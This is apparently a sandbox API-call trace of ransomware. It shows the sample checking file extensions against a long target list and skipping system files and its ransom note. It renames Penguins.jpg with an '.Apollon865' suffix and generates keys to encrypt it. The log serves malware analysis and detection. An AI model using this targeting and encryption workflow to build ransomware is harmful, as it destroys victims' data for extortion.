	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0042.825] lstrlenW (lpString="adn") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0042.825] lstrlenW (lpString="adp") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0042.825] lstrlenW (lpString="alf") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0042.825] lstrlenW (lpString="ask") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0042.825] lstrlenW (lpString="btr") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0042.825] lstrlenW (lpString="cat") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0042.825] lstrlenW (lpString="cdb") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0042.825] lstrlenW (lpString="ckp") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0042.825] lstrlenW (lpString="cma") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0042.825] lstrlenW (lpString="cpd") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0042.825] lstrlenW (lpString="dacpac") returned 6
	[0042.825] lstrcmpiW (lpString1="ns.jpg", lpString2="dacpac") returned 1
	[0042.825] lstrlenW (lpString="dad") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0042.825] lstrlenW (lpString="dadiagrams") returned 10
	[0042.825] lstrcmpiW (lpString1="nguins.jpg", lpString2="dadiagrams") returned 1
	[0042.825] lstrlenW (lpString="daschema") returned 8
	[0042.825] lstrcmpiW (lpString1="uins.jpg", lpString2="daschema") returned 1
	[0042.825] lstrlenW (lpString="db-journal") returned 10
	[0042.825] lstrcmpiW (lpString1="nguins.jpg", lpString2="db-journal") returned 1
	[0042.825] lstrlenW (lpString="db-shm") returned 6
	[0042.826] lstrcmpiW (lpString1="ns.jpg", lpString2="db-shm") returned 1
	[0042.826] lstrlenW (lpString="db-wal") returned 6
	[0042.826] lstrcmpiW (lpString1="ns.jpg", lpString2="db-wal") returned 1
	[0042.826] lstrlenW (lpString="dbc") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0042.826] lstrlenW (lpString="dbs") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0042.826] lstrlenW (lpString="dbt") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0042.826] lstrlenW (lpString="dbv") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0042.826] lstrlenW (lpString="dbx") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0042.826] lstrlenW (lpString="dcb") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0042.826] lstrlenW (lpString="dct") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0042.826] lstrlenW (lpString="dcx") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0042.826] lstrlenW (lpString="ddl") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0042.826] lstrlenW (lpString="dlis") returned 4
	[0042.826] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0042.826] lstrlenW (lpString="dp1") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0042.826] lstrlenW (lpString="dqy") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0042.826] lstrlenW (lpString="dsk") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0042.826] lstrlenW (lpString="dsn") returned 3
	[0042.826] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0042.826] lstrlenW (lpString="dtsx") returned 4
	[0042.826] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0042.826] lstrlenW (lpString="dxl") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0042.827] lstrlenW (lpString="eco") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0042.827] lstrlenW (lpString="ecx") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0042.827] lstrlenW (lpString="edb") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0042.827] lstrlenW (lpString="epim") returned 4
	[0042.827] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0042.827] lstrlenW (lpString="fcd") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0042.827] lstrlenW (lpString="fdb") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0042.827] lstrlenW (lpString="fic") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0042.827] lstrlenW (lpString="flexolibrary") returned 12
	[0042.827] lstrlenW (lpString="fm5") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0042.827] lstrlenW (lpString="fmp") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0042.827] lstrlenW (lpString="fmp12") returned 5
	[0042.827] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0042.827] lstrlenW (lpString="fmpsl") returned 5
	[0042.827] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0042.827] lstrlenW (lpString="fol") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0042.827] lstrlenW (lpString="fp3") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0042.827] lstrlenW (lpString="fp4") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0042.827] lstrlenW (lpString="fp5") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0042.827] lstrlenW (lpString="fp7") returned 3
	[0042.827] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0042.827] lstrlenW (lpString="fpt") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0042.828] lstrlenW (lpString="frm") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0042.828] lstrlenW (lpString="gdb") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0042.828] lstrlenW (lpString="gdb") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0042.828] lstrlenW (lpString="grdb") returned 4
	[0042.828] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0042.828] lstrlenW (lpString="gwi") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0042.828] lstrlenW (lpString="hdb") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0042.828] lstrlenW (lpString="his") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0042.828] lstrlenW (lpString="ib") returned 2
	[0042.828] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0042.828] lstrlenW (lpString="idb") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0042.828] lstrlenW (lpString="ihx") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0042.828] lstrlenW (lpString="itdb") returned 4
	[0042.828] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0042.828] lstrlenW (lpString="itw") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0042.828] lstrlenW (lpString="jet") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0042.828] lstrlenW (lpString="jtx") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0042.828] lstrlenW (lpString="kdb") returned 3
	[0042.828] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0042.828] lstrlenW (lpString="kexi") returned 4
	[0042.828] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0042.828] lstrlenW (lpString="kexic") returned 5
	[0042.828] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0042.829] lstrlenW (lpString="kexis") returned 5
	[0042.829] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0042.829] lstrlenW (lpString="lgc") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0042.829] lstrlenW (lpString="lwx") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0042.829] lstrlenW (lpString="maf") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0042.829] lstrlenW (lpString="maq") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0042.829] lstrlenW (lpString="mar") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0042.829] lstrlenW (lpString="marshal") returned 7
	[0042.829] lstrcmpiW (lpString1="ins.jpg", lpString2="marshal") returned -1
	[0042.829] lstrlenW (lpString="mas") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0042.829] lstrlenW (lpString="mav") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0042.829] lstrlenW (lpString="maw") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0042.829] lstrlenW (lpString="mdbhtml") returned 7
	[0042.829] lstrcmpiW (lpString1="ins.jpg", lpString2="mdbhtml") returned -1
	[0042.829] lstrlenW (lpString="mdn") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0042.829] lstrlenW (lpString="mdt") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0042.829] lstrlenW (lpString="mfd") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0042.829] lstrlenW (lpString="mpd") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0042.829] lstrlenW (lpString="mrg") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0042.829] lstrlenW (lpString="mud") returned 3
	[0042.829] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0042.830] lstrlenW (lpString="mwb") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0042.830] lstrlenW (lpString="myd") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0042.830] lstrlenW (lpString="ndf") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0042.830] lstrlenW (lpString="nnt") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0042.830] lstrlenW (lpString="nrmlib") returned 6
	[0042.830] lstrcmpiW (lpString1="ns.jpg", lpString2="nrmlib") returned 1
	[0042.830] lstrlenW (lpString="ns2") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0042.830] lstrlenW (lpString="ns3") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0042.830] lstrlenW (lpString="ns4") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0042.830] lstrlenW (lpString="nsf") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0042.830] lstrlenW (lpString="nv") returned 2
	[0042.830] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0042.830] lstrlenW (lpString="nv2") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0042.830] lstrlenW (lpString="nwdb") returned 4
	[0042.830] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0042.830] lstrlenW (lpString="nyf") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0042.830] lstrlenW (lpString="odb") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0042.830] lstrlenW (lpString="odb") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0042.830] lstrlenW (lpString="oqy") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0042.830] lstrlenW (lpString="ora") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0042.830] lstrlenW (lpString="orx") returned 3
	[0042.830] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0042.831] lstrlenW (lpString="owc") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0042.831] lstrlenW (lpString="p96") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0042.831] lstrlenW (lpString="p97") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0042.831] lstrlenW (lpString="pan") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0042.831] lstrlenW (lpString="pdb") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0042.831] lstrlenW (lpString="pdm") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0042.831] lstrlenW (lpString="pnz") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0042.831] lstrlenW (lpString="qry") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0042.831] lstrlenW (lpString="qvd") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0042.831] lstrlenW (lpString="rbf") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0042.831] lstrlenW (lpString="rctd") returned 4
	[0042.831] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0042.831] lstrlenW (lpString="rod") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0042.831] lstrlenW (lpString="rodx") returned 4
	[0042.831] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0042.831] lstrlenW (lpString="rpd") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0042.831] lstrlenW (lpString="rsd") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0042.831] lstrlenW (lpString="sas7bdat") returned 8
	[0042.831] lstrcmpiW (lpString1="uins.jpg", lpString2="sas7bdat") returned 1
	[0042.831] lstrlenW (lpString="sbf") returned 3
	[0042.831] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0042.831] lstrlenW (lpString="scx") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0042.832] lstrlenW (lpString="sdb") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0042.832] lstrlenW (lpString="sdc") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0042.832] lstrlenW (lpString="sdf") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0042.832] lstrlenW (lpString="sis") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0042.832] lstrlenW (lpString="spq") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0042.832] lstrlenW (lpString="te") returned 2
	[0042.832] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0042.832] lstrlenW (lpString="teacher") returned 7
	[0042.832] lstrcmpiW (lpString1="ins.jpg", lpString2="teacher") returned -1
	[0042.832] lstrlenW (lpString="tmd") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0042.832] lstrlenW (lpString="tps") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0042.832] lstrlenW (lpString="trc") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0042.832] lstrlenW (lpString="trc") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0042.832] lstrlenW (lpString="trm") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0042.832] lstrlenW (lpString="udb") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0042.832] lstrlenW (lpString="udl") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0042.832] lstrlenW (lpString="usr") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0042.832] lstrlenW (lpString="v12") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0042.832] lstrlenW (lpString="vis") returned 3
	[0042.832] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0042.833] lstrlenW (lpString="vpd") returned 3
	[0042.833] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0042.833] lstrlenW (lpString="vvv") returned 3
	[0042.833] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0042.833] lstrlenW (lpString="wdb") returned 3
	[0042.833] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0042.833] lstrlenW (lpString="wmdb") returned 4
	[0042.833] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0042.833] lstrlenW (lpString="wrk") returned 3
	[0042.833] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0042.833] lstrlenW (lpString="xdb") returned 3
	[0042.833] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0042.833] lstrlenW (lpString="xld") returned 3
	[0042.833] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0042.833] lstrlenW (lpString="xmlff") returned 5
	[0042.833] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0042.833] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Apollon865") returned 64
	[0042.833] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.apollon865"), dwFlags=0x1) returned 1
	[0042.834] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0042.834] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=777835) returned 1
	[0042.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0042.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0042.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0042.834] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0042.835] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0042.835] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.835] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe170, lpName=0x0) returned 0x14c
	[0042.836] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe170) returned 0x2a80000
	[0043.453] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0043.454] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0043.454] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0043.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0043.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0043.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0043.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0043.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0043.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0043.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0043.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0043.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0043.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0043.455] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0043.462] CloseHandle (hObject=0x14c) returned 1
	[0043.462] CloseHandle (hObject=0x154) returned 1
	[0043.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0043.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0043.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0043.479] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1
	[0043.479] lstrcmpiW (lpString1="Tulips.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.479] lstrcmpiW (lpString1="Tulips.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="..") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="windows") returned -1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="bootmgr") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="temp") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="pagefile.sys") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="boot") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="ids.txt") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="ntuser.dat") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="perflogs") returned 1
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2="MSBuild") returned 1
	[0043.480] lstrlenW (lpString="Tulips.jpg") returned 10
	[0043.480] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned 53
	[0043.480] lstrcpyW (in: lpString1=0x119e65a, lpString2="Tulips.jpg" | out: lpString1="Tulips.jpg") returned="Tulips.jpg"
	[0043.480] lstrlenW (lpString="Tulips.jpg") returned 10
	[0043.480] lstrlenW (lpString="Apollon865") returned 10
	[0043.480] lstrlenW (lpString=".dll") returned 4
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".dll") returned 1
	[0043.480] lstrlenW (lpString=".lnk") returned 4
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".lnk") returned 1
	[0043.480] lstrlenW (lpString=".ini") returned 4
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".ini") returned 1
	[0043.480] lstrlenW (lpString=".sys") returned 4
	[0043.480] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".sys") returned 1
	[0043.480] lstrlenW (lpString="Tulips.jpg") returned 10
	[0043.480] lstrlenW (lpString="bak") returned 3
	[0043.480] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0043.480] lstrlenW (lpString="ba_") returned 3
	[0043.480] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0043.480] lstrlenW (lpString="dbb") returned 3
	[0043.480] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0043.480] lstrlenW (lpString="vmdk") returned 4
	[0043.480] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0043.481] lstrlenW (lpString="rar") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0043.481] lstrlenW (lpString="zip") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0043.481] lstrlenW (lpString="tgz") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0043.481] lstrlenW (lpString="vbox") returned 4
	[0043.481] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0043.481] lstrlenW (lpString="vdi") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0043.481] lstrlenW (lpString="vhd") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0043.481] lstrlenW (lpString="vhdx") returned 4
	[0043.481] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0043.481] lstrlenW (lpString="avhd") returned 4
	[0043.481] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0043.481] lstrlenW (lpString="db") returned 2
	[0043.481] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0043.481] lstrlenW (lpString="db2") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0043.481] lstrlenW (lpString="db3") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0043.481] lstrlenW (lpString="dbf") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0043.481] lstrlenW (lpString="mdf") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0043.481] lstrlenW (lpString="mdb") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0043.481] lstrlenW (lpString="sql") returned 3
	[0043.481] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0043.481] lstrlenW (lpString="sqlite") returned 6
	[0043.481] lstrcmpiW (lpString1="ps.jpg", lpString2="sqlite") returned -1
	[0043.481] lstrlenW (lpString="sqlite3") returned 7
	[0043.481] lstrcmpiW (lpString1="ips.jpg", lpString2="sqlite3") returned -1
	[0043.482] lstrlenW (lpString="sqlitedb") returned 8
	[0043.482] lstrcmpiW (lpString1="lips.jpg", lpString2="sqlitedb") returned -1
	[0043.482] lstrlenW (lpString="xml") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0043.482] lstrlenW (lpString="$er") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0043.482] lstrlenW (lpString="4dd") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
